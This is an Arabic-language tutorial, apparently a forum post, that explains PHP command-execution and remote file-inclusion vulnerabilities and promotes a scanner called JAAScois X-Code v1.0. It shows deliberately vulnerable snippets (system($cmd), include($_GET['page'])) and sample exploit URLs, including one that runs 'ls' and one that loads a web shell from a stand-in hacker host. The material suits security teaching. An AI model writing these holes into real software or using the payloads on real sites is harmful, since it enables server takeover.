لغه برمجه المواقع PHP لغه عالميه تجمع بين قوتها وسهوله تعلمها وهذا سبب انتشارها
قد تجد ان اغلب تطبيقات الويب وخاصه التجاريه كتبت بواسطه PHP مثل المنتديات وتطبيقات
الاداره الاخرى.
عيب هذه اللغه هو الجانب الأمني وخاصه للمبتدئين في لغه PHP تكمن سهوله هذه اللغه
في انها اختصرت اكواد كثيره في لغات برمجه اخرى وجعلتها ضمن داله واحده بمعنى امر
واحد دون الدخول في تفاصيل كثيره عن ماتقوم به هذه الداله وهنا يقع المبرمج في أخطاء
تؤدي الى حدوث ثغرات أمنية تؤدي بذلك لإختراق الموقع.
بعد دراسه هذا الموضوع ستصل الى مرحله تحليل الاكواد التي تكتبها وستسطيع اكتشاف
الثغرات الامنيه الخطيرة في لغه PHP التي تؤدي للإختراق المباشر للسيرفر.
أولاً: ثغرات تنفيذ الاوامر Command Execution
هذا النوع من الثغرات يحدث نتيجه استخدام دوال تنفيذ الاوامر في لغه PHP بشكل خاطئ
كيف؟
في البدايه نريد ان نعرف ما هي دوال تنفيذ الاوامر , بإختصار هي دوال تستخدم لتنفيذ
برامج النظام بشكل مباشر لتختصر عليك اكواد برمجه اضافيه ومثال على ذلك استخدام
برنامج ارسال الايميل /usr/sbin/sendmail وغيرها الكثير من برامج النظام في انظمه يونكس
الخطأ في مثل هذه الدوال يسمح للمهاجم من تنفيذ برامج النظام في مصلحته
دوال تنفيذ الاوامر في لغه PHP هي:
التي تنفذ بشكل مباشر: system و popen و shell_exec و exec
هذه الدوال تنفذ اي برنامج نظام يمرر لها بشكل مباشر
الآن سنأخذ مثال لطريقه الوقوع في الخطأ وإحداث ثغره تمكن المهاجم من إختراق الموقع
لاحظ الكود:
- الكود:
-
1 <?php
2 system($cmd);
3 ?>
لاحظ لو كان إستخدام هذه الداله بنفس الشكل في تطبيقك سيؤدي لإحداث ثغره Command Execution
وسيقوم المهاجم بإستغلاله بهذا الشكل:
www.jaascois.com/index.php?cmd=يضع هنا اي امر يريد تنفيذه وهو عباره عن برنامج نظام
وهذا مثال لعرض المجلدات في السيرفر بإستخدام برنامج النظام ls
www.jaascois.com/index.php?cmd=lsتحميل ملف الى السيرفر بإستخدام برنامج النظام wget
قد تتوقع ان الموضوع سهل إكتشافه ولكن لو كانت لديك 100 صفحه كود كل صفحه تحتوي 100 سطر
في هذه الحاله قد تكون المهمه صعبه ولذلك قد تحتاج مساعده JAAScois X-Code v1.0
برنامج JAAScois X-Code v1.0 يقوم بإتباع طريقه جديده للتحليل وهي كالتالي:-
البحث عن الدوال الخطرة وتحديدها وبعد ذلك قرائة البارمترات التي تمرر لها وبعد ذلك
إجراء إختبار جديد للبارمتر وهل تمت اي عمليه اختبار لهذا البارمتر بعد التأكد من كل هذه
الشروط يتم إظهار الكود على انه ثغره امنيه كما تلاحظ مع تحديد التعليمه والسطر والصفحه
النوع الثاني من الثغرات الامنيه الخطرة
ثانيا: ثغرات إدراج الملف FileInclusion
هذا النوع من الثغرات خطير جدا ويؤدي لإختراق الموقع
إدراج الملف هي عملية تقوم بقرائه ملف محدد وتنفيذه ضمن الصفحه الحاليه
وهي عمليه تستخدم للإختصار وتوفر على المبرمج كتابه نفس الكود اكثر من مره
الدوال المستخدم في عمليه الادراج هي:
include و fopen و file و include_once و require و require_once
وطريقه الاستخدام معروفه بهذا الشكل:
- الكود:
-
1 <?php
2 include ('index2.php');
3 ?>
تلاحظ ادراج ملف بإسم index2.php ماذا لو كان الكود بدون معالجة بهذا الشكل
- الكود:
-
1 <?php
2 include ($_GET['page']);
3 ?>
بالتأكيد يمكن استغلاله بإستخدام الويب شيل او صفحات اداره الموقع وهي عباره عن تطبيقات
مكتوبه ب PHP عند فتح الصفحه تجد لوحه تحكم للموقع مثل رفع الملفات وتحرير الصفحات وغيرها
ماذا لو قمنا بإدراج صفح تحكم ليتم تنفيذها في الكود السابق بهذا الشكل
www.jaascois.com/index.php?page= هنا نضع عنوان صفحه الويب شل او صفحه التحكم
مثل
www.jaascois.com/index.php?page=www.hack.com/webshell.phpسيقوم تطبيق PHP بتنفيذ داله الادراج وستتم عملية قرائة صفحه الويب شل وتنفيذه في موقعك
و ستلاحظ ظهور لوحه التحكم للمهاجم ويستطيع تنفيذ كل شيء في السيرفر
عملية التخلص من هذه الثغرات قد تكون بسيطة اما مع التطبيقات الكبيرة
تستطيع استخدام JAAScois X-Code v1.0
بهذا الشكل:
وفي النهاية نكون قد عرضنا الثغرات الامنية التي تؤدي للإختراق المباشر في تطبيقات PHP
برنامج JAAScois X-Code v1.0
وشكرآ
أخوكم
محمد البصراوي
أيملي للمراسله
EVELL_HAKAR@YAHOO.COM